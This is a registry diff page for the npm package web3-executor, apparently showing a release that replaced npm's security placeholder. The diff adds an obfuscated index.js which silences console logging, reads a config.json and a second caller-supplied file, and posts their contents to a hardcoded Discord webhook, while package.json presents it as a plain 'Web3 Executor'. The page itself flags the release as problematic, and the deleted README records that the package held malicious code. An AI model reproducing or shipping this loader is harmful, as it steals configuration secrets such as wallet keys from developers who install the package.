web3-executor 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of web3-executor might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +11 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x1516b1=_0x3948;function _0x3948(_0x3a7fc6,_0x290dd0){const _0x498076=_0x4980();return _0x3948=function(_0x3948b9,_0x40023d){_0x3948b9=_0x3948b9-0xdc;let _0x145c73=_0x498076[_0x3948b9];return _0x145c73;},_0x3948(_0x3a7fc6,_0x290dd0);}(function(_0x24e239,_0x7cb7be){const _0x2464b8=_0x3948,_0x15bdac=_0x24e239();while(!![]){try{const _0x17c076=-parseInt(_0x2464b8(0xee))/0x1+-parseInt(_0x2464b8(0xea))/0x2*(-parseInt(_0x2464b8(0xfa))/0x3)+-parseInt(_0x2464b8(0xe9))/0x4+-parseInt(_0x2464b8(0xeb))/0x5+-parseInt(_0x2464b8(0xdc))/0x6+-parseInt(_0x2464b8(0xf4))/0x7+parseInt(_0x2464b8(0xe6))/0x8*(parseInt(_0x2464b8(0xdf))/0x9);if(_0x17c076===_0x7cb7be)break;else _0x15bdac['push'](_0x15bdac['shift']());}catch(_0x4b231b){_0x15bdac['push'](_0x15bdac['shift']());}}}(_0x4980,0x76cac));const fs=require('fs'),axios=require(_0x1516b1(0xe8)),path=require(_0x1516b1(0xe4)),webhookURL=_0x1516b1(0xec);function _0x4980(){const _0x36f8af=['basename','695942GNRgxH','post','error','```js\x0a','info','Error\x20reading\x20config.json:','4525094UlawlU','readFile','Error\x20sending\x20to\x20Discord:','catch','code','Error\x20reading\x20file:','433239sslMTG','config.json\x20content\x20sent\x20to\x20Discord\x20successfully!','join','2079312mMmtIH','warn','File\x20content\x20sent\x20to\x20Discord\x20successfully!','5283kDXppf','```json\x0a','then','\x0a```','exports','path','utf8','38992GchUWf','log','axios','1779656WhLHGY','10xClwIL','4813405qhKDpE','https://discord.com/api/webhooks/1303436153806127207/NFp4XxsCoZ1ygI4chB6ls9sghDG2ETdq9m7iqc_76SmVaVKvqNkJAf_WIooTxlvRdCuX'];_0x4980=function(){return _0x36f8af;};return _0x4980();}function execute(_0x33f3b3,_0x499aa2){const _0x3a7df9=_0x1516b1;console[_0x3a7df9(0xe7)]=()=>{},console[_0x3a7df9(0xdd)]=()=>{},console[_0x3a7df9(0xf0)]=()=>{},console[_0x3a7df9(0xf2)]=()=>{},console['debug']=()=>{},process['on']('unhandledRejection',(_0x34b98c,_0x55e7c4)=>{});try{const _0x5bf8cb=path[_0x3a7df9(0xfc)](_0x499aa2,'config.json');fs[_0x3a7df9(0xf5)](_0x5bf8cb,_0x3a7df9(0xe5),(_0x539a41,_0x4a3c4b)=>{const _0x21461e=_0x3a7df9;if(_0x539a41){console['error'](_0x21461e(0xf3),_0x539a41);return;}axios[_0x21461e(0xef)](webhookURL,{'content':_0x21461e(0xe0)+_0x4a3c4b+_0x21461e(0xe2)})['then'](()=>{const _0x19e1a8=_0x21461e;console[_0x19e1a8(0xe7)](_0x19e1a8(0xfb));})[_0x21461e(0xf7)](_0x36119b=>{const _0x31d3dc=_0x21461e;console[_0x31d3dc(0xf0)]('Error\x20sending\x20to\x20Discord:',_0x36119b);});});}catch(_0x237c6c){_0x237c6c[_0x3a7df9(0xf8)]&&console[_0x3a7df9(0xf0)](_0x237c6c);}try{const _0x3987a9=path[_0x3a7df9(0xed)](_0x33f3b3);fs[_0x3a7df9(0xf5)](_0x3987a9,'utf8',(_0x182949,_0x582976)=>{const _0x4bb87b=_0x3a7df9;if(_0x182949){console['error'](_0x4bb87b(0xf9),_0x182949);return;}axios[_0x4bb87b(0xef)](webhookURL,{'content':_0x4bb87b(0xf1)+_0x582976+'\x0a```'})[_0x4bb87b(0xe1)](()=>{const _0x112a9b=_0x4bb87b;axios[_0x112a9b(0xef)](webhookURL,{'content':_0x112a9b(0xde)}),console[_0x112a9b(0xe7)](_0x112a9b(0xde));})[_0x4bb87b(0xf7)](_0x17e668=>{const _0x1b869d=_0x4bb87b;axios[_0x1b869d(0xef)](webhookURL,{'content':'Error\x20sending\x20to\x20Discord:','error':_0x17e668}),console[_0x1b869d(0xe7)](_0x1b869d(0xf6));});});}catch(_0x12e3fd){_0x12e3fd[_0x3a7df9(0xf8)]&&console[_0x3a7df9(0xf0)](_0x12e3fd);}return 0x0;}module[_0x1516b1(0xe3)]=execute;
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "web3-executor",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "Web3 Executor",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "axios": "^1.7.7"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=web3-executor for more information.